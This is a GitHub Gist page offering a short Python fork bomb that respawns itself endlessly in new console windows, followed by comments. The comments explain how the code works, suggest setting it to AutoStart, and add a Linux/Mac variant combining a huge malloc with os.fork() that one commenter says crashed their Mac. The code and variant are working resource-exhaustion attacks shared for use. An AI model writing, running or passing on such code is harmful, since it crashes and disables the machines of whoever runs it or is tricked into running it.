-
-
Save saleemrashid/2979344010398724fa9b0723ca176b3e to your computer and use it in GitHub Desktop.
import subprocess, sys | |
while True: | |
subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE) |
i am not very familiar with the "forkbomb" can u break down the code for me pls
A fork bomb is a program, which starts itself in a loop! So, what is a fork bomb?
A fork bomb is a program that starts itself in a loop! The first instance of the program (which you would start yourself) keeps running since it's in a loop and the second instance (which was started by the first) also starts up more instances of that same program - thus the amount of simulataneosly running programs increases exponentially (you can picture it like Image: (Cancer) Cell Division)! If you depict the whole situation in a graph it reminds of a fork or a Binary Tree
import subprocess, sys # necessary imports
while True: # Infinite Loop
# Open a new Subprocess and start this file (sys.argv[0])
# using the local Python Interpreter (sys.executable).
# The creationflags indicate that it should create a new
# console, for the new instance!
subprocess.POpen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)
Edit: Missed a detail, my bad!
Edit 2: Code Break Down
interesting. So it's like a computer flooder and i suppose it lowers the computers speed a substantial amount. i also have another question i infer this is malicious kind of software and would it get stopped by most antivirus or does it act as a trojan?
Some Antiviruses will prevent if from running - others will not... The program itself does not much harm - all it does is crashes the computer once. It becomes critical if you set it to AutoStart!
I was wandering about fork bombs as well but im not sure what to do with the code or what to add to it
I think os.fork() is a lot more effective, but you might say i am criticizing! (Linux/Mac):
import os, ctypes, platform
if "Linux" in platform.platform():
libc=ctypes.CDLL("libc.so.6")
else:
libc=ctypes.CDLL("libc.dylib")
libc.malloc(1000000000000000)
os.fork()
This code disrupted my Mac with a horrible crash!
Actually os.fork() raises an exception if the number of forks is over 10000
this isn't even a proper forkbomb. A forkbomb is inherently recursive. This isn't recursive. Yes, it achieves the same effect, however, it does it slower than if it was legitemately recursive. This just spam opens cmd windows on a loop. 0/10 forkbomb, doesn't even fork
i am not very familiar with the "forkbomb" can u break down the code for me pls